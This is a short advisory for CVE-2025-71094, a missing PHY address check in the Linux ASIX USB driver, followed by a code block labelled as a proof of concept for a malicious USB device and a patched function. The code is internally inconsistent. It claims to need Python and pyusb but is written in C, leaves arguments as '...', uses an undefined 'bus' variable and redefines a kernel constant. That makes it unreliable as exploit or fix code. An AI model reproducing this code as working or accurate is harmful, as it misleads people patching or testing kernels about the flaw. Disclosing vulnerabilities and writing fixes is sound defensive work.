Linux内核ASIX USB驱动PHY地址验证缺失漏洞(CVE-2025-71094)

// CVE-2025-71094 PoC - Malicious ASIX USB Device Emulation // This PoC demonstrates the PHY address validation issue // Requires: Python with pyusb, libusb, and a USB device or emulator #include <linux/usb.h> #include <linux/netdevice.h> #include <linux/phy.h> // Simulate malicious USB device returning invalid PHY address #define MALICIOUS_PHY_ADDR 207 // >= PHY_MAX_ADDR (32) #define PHY_MAX_ADDR 32 // Vulnerable function - asix_read_phy_addr() int asix_read_phy_addr(struct usb_device *udev, bool external) { int phy_addr; // VULNERABILITY: No validation before returning phy_addr = asix_read_cmd(udev, AX_CMD_READ_PHY_ID, ...); // Missing validation: // if (phy_addr >= PHY_MAX_ADDR) // return -EINVAL; return phy_addr; // Returns invalid address } // Trigger function void trigger_vulnerability(void) { struct usb_device *fake_device; int phy_addr; // Simulate malicious device response phy_addr = MALICIOUS_PHY_ADDR; // This will trigger warning in mdiobus_get_phy(): // "addr 207 out of range" printk("Testing with invalid PHY addr: %d\n", phy_addr); // Kernel warning triggered here mdiobus_get_phy(bus, phy_addr); } // FIX: Add validation in asix_read_phy_addr() int asix_read_phy_addr_fixed(struct usb_device *udev, bool external) { int phy_addr; phy_addr = asix_read_cmd(udev, AX_CMD_READ_PHY_ID, ...); // FIX: Validate PHY address range if (phy_addr < 0 || phy_addr >= PHY_MAX_ADDR) { dev_err(&udev->dev, "Invalid PHY address: %d\n", phy_addr); return -EINVAL; } return phy_addr; }